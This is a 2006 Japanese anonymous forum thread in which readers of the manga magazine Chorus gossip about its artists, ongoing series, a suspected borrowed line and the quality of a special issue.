独特のコマ割りをしていく、あの感じが良かったんだけどなぁ。
相模なつきの漫画、キャラの外見も服装も古くさい・・・
ちょくちょく名前があがるが誰だかワカンネ…
アクが強いっつーか話が辛気臭い それにあのスカスカ絵だから読後感悪くて仕方なかった <相模さん
380のおかげで10年ぶりくらいに存在を思い出した>キヨフミくん 確かにあの頃の相模なつきは良かった タイトル忘れたけど、あの、貧乏くさい同棲カップルの話あたりまでは 絵も話もぎりぎりついていけた 後はダメ
>>382 比較的新しいコーラス読者だと分からないと思う。
コーラス初期というか本当に創刊まもない頃は、
中堅エース候補みたいな扱いだった時もあったよ。
>>384 つ「すばらしい日々」
>>367 向田邦子って昭和のエッセースト・脚本家だよね。
さすがにそういう世界観を漫画では無理じゃね?
文学を読んだ方が手っ取り早い。
コーラスは、ライトでふわふわして、現実感のない漫画が多いね。
御大プライドは、異色の骨太作品なんだろうか(対コーラス比)。
>>386 まあ、文学は言葉の芸術というか文字だけの物語、漫画は強いていえば映画に準じる絵物語。
漫画だからこそ出来る表現ってのもあるだろう。
> コーラスは、ライトでふわふわして、現実感のない漫画が多いね。
夢のある世界ということでw
> 御大プライドは、異色の骨太作品なんだろうか(対コーラス比)。
連載から一年くらいまではそうだったかな。
骨太なの描けそうなのは宮脇さんかも。
アガサ・クリスティの漫画化も、
著作使用料払うくらいなら、いっそ宮脇さんの絵で見たかったよ。
ただ原作をなぞっただけの毒にも薬にもならん漫画化じゃなぁ・・・
コーラス、中身は薄くても、あっさりとして読みやすいのが特長なんじゃない? 余り癖のある作品は、ないし(いや、なかった、昔は)
相模さんは1〜2年前の別冊で見た話もよかったよ 彼氏と連れ子の男の子と主人公がだんだん家族になっていく話。 地味だけど予定調和で終わらない話を書くから好きだよ。
自分は文学的といえばくらもちさんて感じだけどな
>>362 の下3行がくらもちさんというのはすごい分かる
表情とか構図とか漫画ならではの部分にこそ
くらもちさんの良さがあると思うのに、
なんか文学的な香りを感じるんだよねえ
くらもちスレでどうぞ
初期と比べて一番絵が劣化した人って、聖さん? そーだって、別マの絵とは別物で哀しかった。 老いて衰えたのか、手抜きしてるのか、コーラスって雑絵を許す風土があるんかい?
聖さんの場合時代が80年代後半から90年代前半で 止まってしまったかのような作風だ
>>386 そういや、ヤングユーで向田邦子の漫画化やってた気がする。
廃刊間際で自分も立ち読みに切り替えてた時期だったから
まあ、漫画では難しかったんだろうな。
サイモンフミが向田邦子の漫画化やってたらしい。 雑誌のインタで言ってたけど、KISSだったのかな。 ものすごくミスマッチな絵柄だと思われる。
相模なつきの連載は覚えてるけど、
>>375 のお陰で甘夏堂の野球チームの連載の存在を思い出した。
いやー、ほんとまったく記憶に残ってなかったよ。
その角度で見ると、コーラスのクソ漫画歴史として記憶に残りそうな叩かれまくりのあの人たちは
ある意味すごいのかも…w
売れっこ作者ほどアンチも多いようだw コーラスに限ったことじゃなく漫画に限ったことでもない。 そういや、過去スレで、 わかりやすい女王様が一人居るとまとまりが出るみたいなことを 書いてた方がいたなあ。 いうまでもないだろうけど御大のことだ。 でも御大も作品はが叩かれるというよりメディア出演が多いところが叩かれてたな。
まあなんでもいいよ。 とにかくおもしろい漫画がないんだよコーラスにさー。 今読めるのたまちゃんとプライドくらいだ。 ベテランでも新人でもなんでもいいんだよもー。
青年誌から引っ張ってこいよ〜 もんでん返すからさぁ〜
ハチクロもセットで付けちゃうYO!
ハチクロはこのままコーラスで最終回を迎えればいいんジャマイカ あと少しで終わるよね?
榎本返すからさぁ〜
>377 宝石図鑑はヤングユーの別冊から来ているからコーラスの人は あまり知らないと思う。 私もあれ好きだよ
>397 ハチクロ・吉住タン? あと、スレチだけどNANAの人も?
吉住は売れっ子か?
相模なつきがえらく高評価されてて驚き。 手抜きっぽい絵が嫌い。
>>406 言っちゃ悪いけど今の作品をハチクロ、NANAとは同格には扱えないよね・・・ボソッ
別マ読んできたから相模なつきは 別マの後ろの方のページに読みきりが載る程度、 だけど息は長いって漫画家のイメージ 嫌いじゃなかったけど
わりと面白かったのがあったのでまあよし 吉住サン・・あんな子供だま(ry
ていうか誌面からあふれるりぼん臭が嫌だ。 劣化しないというより、上手くもならないのってすごい。>吉住 水沢めぐたんもだけどあの人はわざと変わらずにいるのかな。
>>407 好きだ(好きだった作品がある)って人が二、三人出た程度でしょ。
相模なつきに関しては、たまーにこのスレで話が出るたび、
妙に激しい拒否反応を示す人がいるのが気にかかる。
正直、アンチがつくほどの作家でもないと思うんだけど。
>>412 昨夜、このスレを見てなつかしくなったついでに
にくちゃんねるで相模なつき個人スレを検索してみた。
スレが立った当時もう寡作だったせいか短命で落ちてるけど、
そこにもいたよ。粘着っぽいアンチ。
>412 いつも辛気臭い、絵がスカスカ、って同じ言葉で貶してるアンチがいる。 私は結構好きだから気になってはいた。
しかし実際、今のコーラスのクオリティからいえば、 相模程度の絵はスカスカでも何でもないと思う。
1年前の別冊で相模さん載ってたよね。 創作落語の脚本書いてる人妻とそれを演じる元同級生の話。 話うまいなあと思ったけど。 深夜のファミレスでのワンシチュで。
>415雑誌全体総スカスカ状態だからね…劇画調にしろとはいわないけどさ 固くなくて丁寧に見える絵ってむずかしいのかな
でも確かにクセのある絵だし、苦手な人がいるのはわかるよ>相模さん しかしストーリーとかセリフのセンスはかなりいいと思う 辛気臭いとかいわれてるしんみりした作風もけっこう好み 無難なそこそこ今時の絵だけど話がスッカスカとか、 表面だけツルっとした薄っぺらい絵で話がスッカスカとかいうのを 他誌から引っ張ってくるより、ああいう人にもっと頑張ってほしい
>>411 吉住・水沢・星の瞳の人、この3人って乙女御三家?
絵も話も余り変わってないよね。劣化がないのは凄いっちゃ凄いけど。
コーラスに移住しそうで怖い。
全然誰のことかわからなくてググッたが、 別に…って感じだ。 こんな作家が話題になるくらいなんて マジでコーラスって末期っぽい…。 なんとか休刊はしないでくれー。
>>419 うわー絶対ヤダ
旧(しかも大昔)りぼん作家の掃き溜め化
もう吉住とか切るに切れない作家だけ集めて雑誌作ってホスィ
出版社は昔の恩があるから切れないとしか思えん
ぐぐった程度でどの程度の漫画家かわかってしまう420タンスゴス
>>419 乙女ちっく御三家といったら、太刀掛・陸奥・田渕ですよ。
その3人は御三家でも何でも無い。
りぼん出身だったら世代的に、萩岩・高橋・小椋の3人がいいと思うんだけどなぁ。
コーラスが末期って、相模なつきはコーラスの初期のレギュラーだったんだけどw
まあしょうがないよ。 今は初期とは別の雑誌だしね。 私もこのまま迷走を続けて休刊だけはしてほしくない。
>423 高橋と萩岩と小倉は分るけど、御三家が不明。 小倉さんって、妙にグラマー女性のお話だよね。到底日本人には見えないヒロインだったw コーラスには馴染まない絵柄、かといって、YOUにはもっと馴染まんだろうね。
小椋さんか〜、なつかしい。 りぼんでMickyとかいう漫画描いてた。
426は若い人なんだなぁ、としみじみした
小椋さんてコーラス創刊時にいなかったっけ? 高橋さんがYOUに行ったのがすごく惜しい
ババァタイム
431 :
429 :2006/07/12(水) 21:36:03 ID:???0
あれ?ググって見たけど出てこないから勘違いか・・・ YYも読んでたからなんかごっちゃになってるみたい まあこうしてYYとコーラスの作家がごっちゃになるくらいだから 基本的にYYでいける作家はコーラスでもいけると思う
YY/コーラス掛持ちしてた人って、槙村・よしさん・岩館 他に誰だっけ?
何かあんまり考える気にもならない>掛け持ちしてた人
チヤトリはkissスレでも叩かれてるね デビューした頃はいい話書いてたと思うんだが、 なんであんなんなっちゃったの? コーラスに載せるなら新作書くより昔のを載せたほうがよくね?
チヤトリ、kissもコーラスで描いてたのと同じくらい中身が無い。 セックスマイスターがどうとか、キモすぎ。
チヤトリもうだめなんだ・・・私も昔のチヤトリ好きだったよ
もうさっさと引退してほしい…。
勝手な願望。 〈柱〉一条、くらもち 〈シリーズ連載〉聖(ヘプタゴンみたいなシリアスもの)、 佐野、よし、きら(犬漫画以外) 〈ゲスト読み切り〉岩舘、鴨居、いくえみ 〈ショート〉伊藤(エッセイ)サムプク(除合作)、 別冊からゆんゆんと吉沢 〈ホラー〉宮脇 〈体験もの〉現代に漫画家訪問 〈他社から〉 有間しのぶ、山岸凉子、茶木ひろみ、 岩本ナオ、羅川真里茂 〈コラム〉小栗 あ、松田も連載。
(表紙)松苗あけみ
願望はもういいよ
サムプクイラネ
サムプクイラネにハゲドウ!万福寺だけならオケ。
岩本と羅川って人と、きらの犬漫画以外は読んだことないが、あとはステキ♪
>>438 いや、ちょっと待て。小沢さん忘れてないか?
小沢もサムプクも鴨居もきらも聖も(゚?B゚)イラネ 他社からはもっと(゚?B゚)イラネ 勝田とハチクロとあいかわと石井まゆみはアリでもいいかな。
願望するなら、三本柱だけにしてくれ。 個人的好き嫌いはキリがないし 実績を考慮するならここ一年以内にして。
好きな漫画家だけなら話も膨らむだろうし別にいいと思うけど、 嫌な漫画家はあまり気持ちのいい話ではないから 羅列されてもフーンとしか言いようがないな 大多数の同意をもらえる漫画家を除けばね
>446 コーラス作家って人気ないのね orz ここでは人気の御大・佐野・小沢・よし///全然じゃ… やっぱコーラスってニッチ雑誌でイマイチ売れないのもそのせい?
一条はそこそこ名前挙がってるほうじゃないの
つか厨人気作家挙がりすぎだし
>>446 のスレw
そういえばきらって人もいたねえ
レタスバーガーのひとは他所いってしまったのねえ
漫画家だって今のコーラスに描くのはイヤだと思う。 吉住さんあたりが柱になるなら、まともな漫画家は全部流出するだろうね
余計な心配しすぎw
>吉住さんあたりが柱になるなら ないないないないw
芳成さん抜けたら、ちょっとマジコーラスやめるかも知らん。 例えば他作家でお気に入りが抜けたら「ショック・・・」で済むけど、 こむぎ終わらせたら、なんていうか売り上げに協力したくない。
あんな惰性で続いてるもんにもファンが
芳成さんて、昔描いてたストーリー漫画はすごく優しい感じで好きだったけどなー。 こむぎはDQN飼い主としか思えなくて、読んでてきつい。
飼い主としてはもちろん、家族モノとしてもDQN過ぎ。 妹夫婦と一つのベッドで川の字になって寝るネーチャンだもの。
>>456 なぜDQN?普通ぽいけど。
Kissで鈴木由美子がやってる犬マンガのドキュソっぷりと比べたら・・・(ノーリード散歩は当たり前)
>>458 飼い犬を極度の肥満にしてしまった飼い主が普通ですか
肥満だし、犬としては致命的なくらい神経質にしちゃってるし…
元のキャラが大きいんじゃないの? 先代のワンコ達も一様に、同じ性質だったっていうならともかく。 私もこむぎ好き。 アンケ出さなきゃと思いつつ、出してない。 今月こそ出すぞ。
>>455 コーラス自体、もう惰性で買ってる感じ。
こむぎって、正直、育て方悪かったんだなーと思う。 あれを人間の赤ん坊に置き換えて考えたら((((;゚Д゚)))ガクブル もんちゃんが肥満児のヒッキーに育たないことを願う。
>>463 可愛いからって、男の子に女の子の格好をさせて、
写真まで撮ってるのって、ちょっと微妙。
>>463 犬だしwww
>人間の赤ん坊に置き換えて考えたら
持ち物に名前付けたりする、擬人化好きさん?w
こむぎ読んで不快なのは親がなんでもやってあげすぎ。 暖かい家族で誰も性格は悪くないと思うが、 親って子供を自立させることも大事な役目でしょ。 芳成もこむぎもいい年なのにいつまで箱入り娘扱い?
芳成って一時期一人暮らししてたよね? 親が食事を作りには来てたけどw いつから実家に戻ってたんだろう。
>>462 私も創刊から買ってるし、やめるタイミングもなく。
でも付録つかなくなって立ち読みできるなら買うのやめる。
>>463 犬でも育て方悪かったように思うよ
>>466 同意
あの母がネタなのかマジなのかわからないけど
芳成さんが結婚出来ないのは母にも問題あるような
育て方なんて描いてた時あったっけ? それにしても皆さん、よほど立派な子育てなさってるんでしょうね。 ウラヤマシーw
こむぎ、私も最初は絵柄可愛いと思っててコミックスも買ったんだけど こむぎがずっとだっこされてなきゃ散歩も出来ないのとか正直引いた 知り合いの犬もあまりしつけされてないけど散歩嫌がったりしないしなぁ なんか脳に障害でもあるのかね・・・
>470 近所の家とかがどんな子育てしてようと何も言わないけど、 それを雑誌で描いて商売にしている以上読者に変だと思われたら 変だと言われるのはしょうがないだろ。
>>469 母にも問題が、といわれても妹は結婚してるわけだし
すでに職業の問題の方が大きいかもよ。
吉成さんちみたいなべったりした家庭環境って意外によくあると思うけど
それを普通に世間に披露しちゃうところが
一部の人の神経を逆なでしちゃうんじゃないかな。
実際自分とはあまりにかけ離れたて、びっくりするエピ多いし。
>>472 ウラヤマシーって書いただけじゃん。
しょうがないだろって、何ズレた事言ってんのよwww
475 :
↑ :2006/07/13(木) 18:41:05 ID:???0
イタタタタ・・・
477 :
↑ :2006/07/13(木) 18:47:07 ID:???0
┐(゚〜゚)┌
育て方ってあれそうとう寿命に近い犬じゃないの? 性格は育て方で変わらないだろうし
既に惰性化したコーラスだけど、こむぎ消えたら寂しい。 新装前の読者は完全に見切ったって、編集に宣言されたような気がする。
芳成さん、読み切り好きだった。 こむぎ以外はもう描かないのだろうか。
柴は猟にも使える犬なのにな
あれじゃ犬じゃなくて猫だよな
ワロスwたしかに
自演クサw
犬と同様に作者自身も人付き合いが薄いからああいう単調な内容になるんだべさ 猫物でももっと面白い見せ方できてる作家たくさんいるしなぁ でも今のコーラスじゃアレがマシなほうなんか・・・w
>451 柱ねぇ。今は御大ハチクロだけど。 ハチクロは映画終わるぐらいに終了ぽいし。 プライドもそろそろ畳まれそう(実質進展がないやん) そしたら次の柱は吉住さんなのかねぇ。 それともNANAか、花男でも引っ張ってくるのかしら。
YAZAWA来なくていいよ・・・ 花男ってドラマでちょこっと見ただけなんだけど、面白いの?
神尾はまだマーガ花男続編描くほどだからマーガが手放さないだろうし NANAはクッキーの要みたいなもんだから無理 吉住は雑誌引っ張っていける程の力がないので論外
そこで、楽園2ですよ♪
NANAはクッキーが廃刊になるまではこないんじゃない? 花男の人は別マだかで連載中だし 面白い話が書けてない 河原とかあのあたりが連載終了後やってくるかも〜
吉住は嫌!
NANAはもっと嫌!
>>488 花男は10年前までは読んでたけどそれ以降からラストは知らない。
その時はおもしろいと思ってた。
和田さんに期待ですよw
こむぎはあの淡々とした感じがマターリ出来て好きだ。 NANAと御大が柱になったら・・・ もうその時こそコーラスついていけない。
河内遙ってどういう人か知らないけど面白いのかな
前読んだのは個人的にはとても面白かった。 前途は揚々としてブルーっていうラストを、未だに空で言えるくらい。
芳成はこむぎの前の簡単クッキングが結構好きだった。 私は今井美保全然つまらんのにずーっといるのが不思議。 単なるいろんな習い事や流行ものの紹介だとしても(話がツマランから) 絵にも魅力がないので読み飛ばし。
今井美保って、普通の漫画も描いてるの? 最後のコーナー今まで読み飛ばしてたけど、 みとみゆんイラストになってから読んでる。 なんか笑えて、お気に入り。
アンケ出したよ。 良くない作品で今井さんの選んでから、 ハチクロの映画宣伝にすれば良かったと激しく後悔してます。
>493 和田さんって次回連載だっけ? それとも様子見読みきり? 絵がなぁ。まさに別マ絵。
月のしっぽオワタら上田さん引っ張ってくるか その前に永田正実が来る予感(゚听)イラネけど
永田正実。。。。吉住やNANAよりマシかも
私は現代(゚听)イラネ 現代が、というよりもヤマモトマンセーがウザすぎる。 ヤマモトさんの故郷行って母校まで訪ねたあたりウザくてウザくて。 美人でスタイル良くてマラソン速いのはわかったからさー、って感じ。
ヤマモトマンセーかぁ? 結構落として描かれてると思ったけどね。 永田正実マジ要らね。 別マか何かで昔読んでて、結構長く続いてた作品、 イライラし通しだった。
ヒュンダイのヤツは確かに山本マンセーだとオモ。 いつのまにか山本がパン好きだとかいらん山本情報ばかり頭に残ってるし。 山本情報がサブリミナルで脳内に入ってくるw 吉住でも永田でもいいけど、ちゃんと編集がコミットして話を作ってほしい。 コーラスの編集者はあんな漫画が本当に面白いと思ってるんだろうか・・ いくら大御所だろうが、あんな(゚听)ツマンネな話をちゃんとリテイクする位の仕事はしろよと。
なんでこう次から次へと新しい面子連れてくるかな。 いらねっつの。 今となればYY来る前のメンバーで十分満足できた。
>>505 リテイクしてあれなんだとオモ。
下手にキャリアのある作家だから作風は変えられないし、
かといって編集も全否定できないだろうし、
なんとなくいっぱいいっぱい感がすごくて痛いなーと思った。
>>506 にハゲドウ。
半端でつまんない作家ばっかり連れてきていてうんざり。イラネ
聖さんの正義のお姉さんが載ってた頃は激しくウザいキャラだったけど 今となればよく練られた大人向け少女漫画だった キャラに腹を立てる以前の問題だもんな、最近のコーラス
>>509 漫画から10年以上はなれていたため
コーラスで聖千秋ってのも
およそ20年ぶりだった。
それが、正義の姉だったw
んでも、全然違和感なかったなぁ。
あのご都合主義っぷりは、聖さんらしさだと思うよ。
他の作家がやると何をとちくるったかとか言われそうな気がする。
CGのカラーページもそこそこだったし、
絵柄は、
御大のに10年ぶりでふれたプライドに比べたらそれだけで・・・
あーもう後は言わんw
>>496 >前途は揚々としてブルーっていうラスト
なんか聞いたことあると思ったんだけど…。大島弓子の漫画のラストがこれだったような…。
こんだけ作家あふれてて、終わった人まで順番待ちしてるんなら YY復活させてくれ! ってアンケで送った
>>512 大島弓子の「庭は緑川はブルー」だよね?
わたしも疑問に思った。
パクリ疑惑かね?w
大島さんのは言葉が美しくて心に残るからな〜。 岡崎京子がたくさんセリフ引用してたよね。 あれはオマージュと認識されてるみたいだけど今回のはどうかな? 大島さんのストーリーマンガまた読みたい。
>509 正義のお姉さんって、完結したっけ? 読み流してたから、最終回の記憶ないなー。 絵が恐ろしく劣化してたね。昔は丁寧だったのに。 デッサンも狂ってた。
>>516 姉さん妊娠して元サヤってのが最終回だったとオモ。
正義の味方はまだ良かったよ。
その前に連載してたセレブ気取り高校生のが酷かったよね。
>>511 マジで??
いきなりいくえみ路線を進むつもりなのか??
>>508 なら読み飛ばせば?
私はこむぎ好きだから、これからも楽しんで読むけどw
>>517 セレブは結構展開とか期待してたのに、
こーゆー感じに終結させちゃうの?みたいになってガカーリした。
その感じが、悪いのは誰の締め方に似てる。
聖さん好きだけど、正直彼女が復活するならチヤトリとかでもいい・・。
私にとっては目新しいから。
?? 河内とかいう人が大島弓子をパクるといくえみ路線になるの? ごめんよくわからなくなってきた… けっこう長くコーラス読んでるつもりだけどその河内という人の漫画を読んだ覚えがないので、よかったら内容を大まかに教えて欲しいです。 あんな印象的なセリフをパクったならその場で突っ込み入りそうなものだけど。
自演クセェーw
>>523 ありがとう、でもパクリパクリ騒ぎたいわけじゃないのでよいです。
もうちょい詳しく聞いたら話の内容思い出せるかと思ったんだ、読んでれば。
河内さんが件のラストを描いたと言ってるのも一人だけだし、失礼ながら記憶違いとかあるのかなって。
ハルカ・エイティをへんな漫画にした人か
>>525 大学入学を機に上京予定の主人公が、引越し先が見つかるまで、
とりあえずお世話になろうと、兄夫婦の家にやって来る。
兄のお嫁さんは自分の夫に対してホモ疑惑を持っていて、
そんな悩む心を押し隠し、主人公をドライブに誘う。
温泉からの帰宅途中、偶然夫とバッタリ、そこでホモ疑惑も晴れ、目出度し目出度し。
ラストは、引越し先を探そうとする主人公を強制的に海へのドライブと連れて行くシーンで締め
>>494 まるっと同意。
こむぎは雑誌で流し読みするぶんにはいいんだが コミックスで読むとイラッとくるんだなw
きらがもどってきたらいいんじゃないか? YOUでいま連載してるケーキ屋さんの話がおもしろい 源氏は評判わるかったけど前のシンクロオンチもよかったし どっちかっていうとコーラスで連載したほうが単行本も売れると思う
>>528 コミックスはわざわざ買わないけど
雑誌でうっかり目に入ってくるからイラッとする
いいねきら。 楽しみってほどでは無かったけど、結構笑わせてもらった気がする。 そつの無さで言ったら、逢坂さんの今の作品より好きだし。
きらってキモい犬漫画でしょ? あれがコーラスに載る意味が、ハチクロ以上に意味不明だった。 もう戻ってこないでほしい。吉住以上にイラネ。
うん、あの犬漫画はいらないな。出てくる犬が揃いも揃ってまったく可愛くない。 岩舘さんが描くような犬だったら許せるけど。 どうせ載せるなら、きらのほかの作品読んでみたい。犬漫以外を読んだことないから。
協調性のないシーズーが好きだった。
きらも嫌いじゃないけど、いくえみさんが戻ってくる可能性はゼロなの? 前は時々描いてたような覚えがあるんだけど。 くらもち、いくえみ、これが揃ってたら、毎号付録でも耐えてやるのに。
>>534 私もあの回笑ったなw
こむぎとかきらとか、犬ものに弱いベースがあるんだけど。
動物ものは要らない。 除:岩館
>>535 ていうかいくえみは茎で評判良いみたいだからわざわざコーラス来なくても
素直に10代向け漫画描いてるのが一番だとオモ
なるほど。 ちょっとクッキー買ってみるわ、試しに。 新装版より気に入るかもしれない。
>>529 YOUで書いてた方がいいんじゃないかな。
いろんな漫画があるなかであれもあるってのが逆にいいんじゃない
くらもちさんが今描いてないのって編集ともめた?
そっち系の理由ならまだマシかも。 体調悪くしてるとかだったらキツイ・・・。
もうくらもちスレ行って。定期的にくらもちループウザス スレなかったっけ?
ふたつみっつの書き込みくらい大目に見てやれよ・・
別冊読んだ。 なんか全体的に地味すぎてつまらなかった…。 話も絵も暗いというかなんというか、読ませるパワーがないというか、 全部読むのにものすごいストレスを感じた。
>>544 アンチだからって過剰反応しすぎだよ。
そんな自分はハチクロ嫌いだから、話題が出るとむかつくが
コーラスに来た以上しょうがないと思うとるがな。
話蒸し返して悪いが、上に書いてる河内遥も大島さんの「庭はみどり川はブルー」も読んだけど、 大島さんのはラストから2Pめに「前途は洋々としてブルーであります」という言葉があることはあるが 河内のとは設定もストーリーもまったくの別物。 安易にパクリという言葉を出すのは、どっちの作家に対しても失礼と思う。 スレ汚しスマソ。別冊でも買ってくるか。
>>505 >山本情報がサブリミナルで脳内に入ってくるw
ワロタw
【ヤマモト情報】
・美人
・スタイルが良い、足が長い
・マラソンランナー
・パン好き
・モテモテ
・ばら色の女子高生時代を過ごした
・上智大英文卒
・39歳(?)
・コーラス創刊直前にケコーン
・アパート契約時に旦那のマンションに転がり込んでそのままケコーン
・一時期、YOUの編集をしていた
・コーラスを心から愛しているので、移動が決まった時はチョト拗ねたw
・食べ歩き好き
別冊読んだ ハチクロイラネ 藤田律って人の宝石の話は好きだ 前回のも何度も読んだ
>>549 こんなにパーソナルデータが表に出てくる編集が
かつて居ただろうか…
別冊読んだYO
>>546 にまるっと胴衣
地味、暗い、という印象よりは全部ツマンネって感じだった
唯一たまちゃんはおもしろいと感じたけど…。
そのだなんとかの絵があまりにひどくて
こんな人がプロなのかと思った。
さっきコーラスの別冊みたいのをぱらっと立ち読みしましたが、 なんだか岡崎京子の劣化劣化劣化コピー風の絵柄の漫画があって激しく萎えた。 他の漫画も、今流行風の劣化絵柄ばっかりでさらに萎え…。 コーラスではアレ系のノリの絵とか話は求めてないです。 たまちゃん観たさに手に取って、よさげなら買おうかなあと思ってましたが あれにお金払う気持ちにはなれませんでした…。
>>517 姉さん妊娠して元サヤなのか。
あの東大エリート旦那って、お姉さんのどこが
好きなったのか、夫婦なのに性格見抜けないってのが理解出来なかった。
その後で連載したレトロな広告代理店社員(だっけ?)の話が
つまんなかったから、お姉さんの方がうーんとマシって気付いた。
聖さんは、コーラスよりベツマの方が合ってるのでは?
別冊、付録がついてる時点で買う気なくす
別冊、高いよ…
>>555 同意。別冊に付録、さらにあの値段、ありえねーよ。
今回の別冊、まずパラ見して 一番最初に読んだのが吉澤まゆみだった私です。
付録っていっても小さな薄っぺらいマグネットで 紐閉じも必要ないくらいちゃちかったな
>>559 5cmもなかったよね。
4cm×4cmくらい?
>>548 内容が違おうが何だろうが、そんだけ特徴的で印象に残る言葉を
まるまるそのままいただいたら、それだけでパクリと言われて当然でしょ。
アホか。
「どっちの作家に対しても失礼」って何なんだ、
単にアナタの大好きな河内に不都合ってだけでしょ。
煽りやめれ
正論です
実力のない新人によるパクリ疑惑は絶えないな 丸パクリはあまりないだろうけど、途中で展開変えたり 一部だけ拝借なんてのがありがちなパターンかな
>>561 その程度の正論じゃ、いくえみヲタとかには通用せんよ。
その他にもいいトコ一杯あったけど、総まとめとして気に入ってたセリフが人のものかぁ・・・。
すごい新人出てきたとか浮かれてた自分乙。
パクリ話はスレ違い。他でやってください。 この話題になると異様に熱くなる人とか 勝手に作家同士か編集か知らないけど 確執があるように妄想しちゃう人とか出てきて 迷惑。
熱くなるのはパクリ話だけじゃないと思うけど・・・?
パクり話、アンチくらもちネタ、ハチクロ擁護ネタ、この3つになるとしつこい人がいるよね。
目くそ鼻くそに思えます!
同じ熱くなるにしても パクリ関連は他スレでやった方がいい話題ってことでしょ。
で必ず570みたいなスルーできないヤシが現れる・・・と。
パクリ議論スレが落ち着いて来てるからそっちにいくべし
>568 元りぼん作家への罵倒以外の意見も追加で
それは単に、作品としてつまんないから
でもとてもシツコイので、ウンザリしています。
>>574 りぼん出身ってだけが理由で叩かれてる人はいないお
>>576 確かにうざいね。ウンザリだ。
特徴的な人は●●ちょうだいの奴だと思う事にして流し読みしてる。
>>568 ハチクロは今となってはもう単に批判的な人の方が多いだけかと
YY合併前って、御大やプライドの話題って多かった記憶。 萌のキャラがありえないとか、クラッシックの描写がいい加減とか、 御大露出ファッションチェックとか、御大対本人比劣化問題とか。 今じゃ、御大様様モードになるほど、全体のレベル下がったせいか 余り話題にならなくなったね。
人増えただけでレベルは別に変わってなry
レベル下がってるよ・・・・ 明らかに編集の責任だとは思うけど。
合併前から御大の話題ばっかだったんならあんま変わってないってことだべさw
最近、プライド話題にならんね。倦怠期?
うん、同人オタが語ってたねw
元ハチクロ信者達は今が一番売り時だね 映画も終わって10巻が出ると あの本スレの空気を180度変えてしまった 鬱展開が待ってる
ここ数ヶ月でだいぶオクやブクオフに流れただろうね。 あの展開じゃぁねぇ・・ 即処分でも売れちゃえばとりあえず部数が稼げるわけだから いかに宣伝と煽りが大事かということだ。 今回もうまいところでコミクス終わってるし コミクス派は、次巻も買いたくなるんだろうな。壮大なオチがあるとも知らずに・・
壮大なオチw そこまで言わなくてもw
一条御大スレにこんなのがあった。 >> 21 名前:花と名無しさん メェル:sage 投稿日:2006/07/06(木) 15:26:40 ID:???0 > 【ハチクロに】プライド一条ゆかり28【負けるな】 > というスレタイ候補もあったけど > 「ハチクロ」が来なければ、「プライド」も今ごろは > キレイに終わってたかもしれないですね。 > > あちらも(ハチクロ)今クライマックスというか > 事実上は引き伸ばし。 > アニメ化に続く映画化でいまが稼ぎ時だから > 編集部というより出版社の都合上ってのが見えて、 > ある意味気の毒だけど。 > でも作者が漫画家としては上り坂の方だろうし > プレッシャーでつぶれることはないでしょう。 > > 「ハチクロ」より先に連載を終わるってのは > 御大的プライドがつらいのでは?
別冊立ち読みしたが 藤田 律 原色宝石図鑑 は地味ながら良かった 新人さんなのかな これからも頑張って欲しい
\ ∩─ー、 ==== \/ ● 、_ `ヽ ====== / \( ● ● |つ | X_入__ノ ミ そんな釣りで 別コサマー 、 (_/ ノ /⌒l /\___ノ゙_/ / ===== 〈 __ノ ==== \ \_ \ \___) \ ====== (´⌒ \ ___ \__ (´⌒;;(´⌒;; \___)___)(´;;⌒ (´⌒;; ズザザザ (´⌒; (´⌒;;;
>592 御大スレ住人でもないけど、自分はプライド初期が好きで期待特大だったので 今の温い芸能界展開やら3人仲良しグループのノリは…苦手。構想変わったの? 御大は、エンディングやテーマをきっちり決めてから連載したのか、読者の反応みながら 色々弄ってるのでしょうか?
>>595 毎号読んできたなら(もしくは単行本で通読したなら)
行き当たりばったりなのは、理解できるだろう。
メディア出演時の御大がこの作品についての公的発言をする内容も
色々と変化してきて、
初期の構想はもはや・・・
まあ現時点の温い展開は早急な変化はしないだろう。
ほんと、一話ごとに行き当たりばったりで完結してるから、先が見えない。
プライド初期の構想って、境遇の違う二人が好敵手となって切磋琢磨して成長する。 オペラ界の頂点に立つ為には、何を切捨てるのか、自尊心を持つためのプライオリティは何か…等を 描くつもりだったんでしょうか?
別冊読んだ。 既に別冊コーラスではない、別の雑誌になってるじゃないか・・・。 以前からいる作家ってモサだけじゃん。 にしても、別冊って毎回毎回テーマが似た作品が並ぶけど テーマ統一とかしてるんだっけ? 今回のテーマはさしずめ、「家族愛」と「親父がオカマ」ってとこか。
聖千秋ってどうしたの?
どうした?
>>593 原色宝石図鑑て、前回の別冊にも載ってた。
社長がお気に入りのホステスに宝石選ぶ話。
シリーズものだったんだね。
藤田さんは確か前回の別冊で「本誌初登場」って書かれてたよ。
>>598 似た話が目立ったね。北沢とキャンディーのネタはいわずもがな、
ただたらことたまきちひろっていう人の話も微妙に似てた。
特に前者のオカマエピソードはインパクトがあるだけに
同じ雑誌でネタかぶりは致命的なんじゃ…。
編集が同じテーマを与えてるとしても、もうちょっと配慮してほしいな。
読者は似たような話をいくつも読みたいわけじゃないし。
602 :
601 :2006/07/16(日) 14:58:30 ID:???0
宝石の人、自分も新人さんだとばかり思って>601書いたけど
>>404 見たらヤングユーからの移籍組だったんだね。
知らなかった。スマソ
別冊、つまんなかった。
立ち読みで『主婦のトモ』の娘の話だけ読んだ。
>>598 テーマ統一、前はたまにあったよ。
表紙のはしっこの方に書いてあった。
金太が死んで思いのほかショックだった自分にびっくり
>>602 移籍組といっても確かデビューしてあまり間もないうちに休刊決まって越してきたので
ほとんど新人さんみたいなものだと思う
最初に、こっそり「宝石屋の話好き」と書いた377です。 同じく好きという方が結構いるみたいで良かったです。 たぶん原色宝石図鑑はデビュー2作目だと思う。 YYでのデビュー作も、(絵は上手ではなかったけど)意外と良かったのを 覚えてます。 絵が上手ではない、で思い出したけど、YYにいた上田めぐみは どうしちゃったか、知ってる方いますか?
別に以前からの作家さんがいなくてもいいんだけどさ、>別冊 総じてつまんない作品ばっかなのが問題…。金返せ。 あんまり宝石屋の話は好きじゃないけど、 他からつまんない作家呼んでくるよりは(たまきなんたらとか)、 新人さん達にはがんばってほしいと思っている。
私も別冊では宝石の話が一番よかった。 前のも良かったし、シリーズで本誌にかいてほしいくらい。
>>606 別冊に載ってるよ
『あきらめない女たち〜走り出すまりちゃん〜』
関係ないが別冊のただたらこ、桜沢エリカに絵柄が似てる希ガス
あと、遠野一実読みづらかった…
キャンディーサトウと上田、東村アキコは面白かった
上田めぐみ久しぶりに載ってたね デブ以外はいつのまに結婚したんだ
宝石の話、上田めぐみだとばかり思っていたよ あぁ…こんな話もかけるんだo0O○ って感心して立ち読みしてたw
